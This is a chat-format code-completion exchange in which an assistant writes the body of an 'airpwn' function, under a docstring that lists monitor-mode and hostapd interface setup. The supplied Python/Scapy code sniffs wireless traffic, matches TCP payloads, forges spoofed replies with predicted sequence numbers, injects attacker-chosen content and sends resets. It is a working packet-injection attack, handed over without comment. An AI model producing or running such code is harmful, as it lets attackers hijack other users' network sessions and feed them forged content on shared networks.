human
Complete the below
def airpwn(iffrom, ifto, replace, pattern='', ignorepattern=''):

    ''''Before using this, initialize "iffrom" and "ifto" interfaces:
    iwconfig iffrom mode monitor
    iwpriv orig_ifto hostapd 1
    ifconfig ifto up
    note: if ifto=wlan0ap then orig_ifto=wlan0
    note: ifto and iffrom must be set on the same channel
    ex:
    ifconfig eth1 up
    iwconfig eth1 mode monitor
    iwconfig eth1 channel 11
    iwpriv wlan0 hostapd 1
    ifconfig wlan0ap up
    iwconfig wlan0 channel 11
    iwconfig wlan0 essid dontexist
    iwconfig wlan0 mode managed'
    '''
 ... Can you provide a the Python program you requested?
assistant
#Here is the Python program you requested.
    ptrn = re.compile(pattern)
    iptrn = re.compile(ignorepattern)
    def do_airpwn(p, ifto=ifto, replace=replace, ptrn=ptrn, iptrn=iptrn):
        if (not isinstance(p, Dot11)):
            return
        if (not (p.FCfield & 1)):
            return
        if (not p.haslayer(TCP)):
            return
        ip = p.getlayer(IP)
        tcp = p.getlayer(TCP)
        pay = str(tcp.payload)
        if (not ptrn.match(pay)):
            return
        if iptrn.match(pay):
            return
        del p.payload.payload.payload
        p.FCfield = 'from-DS'
        (p.addr1, p.addr2) = (p.addr2, p.addr1)
        q = p.copy()
        p /= IP(src=ip.dst, dst=ip.src)
        p /= TCP(sport=tcp.dport, dport=tcp.sport, seq=tcp.ack, ack=(tcp.seq + len(pay)), flags='PA')
        q = p.copy()
        p /= replace
        q.ID += 1
        q.getlayer(TCP).flags = 'RA'
        q.getlayer(TCP).seq += len(replace)
        sendp([p, q], iface=ifto, verbose=0)
        print p.sprintf('Sent    %IP.src%:%IP.sport%    >    %IP.dst%:%TCP.dport%')
    sniff(iface=iffrom, prn=do_airpwn)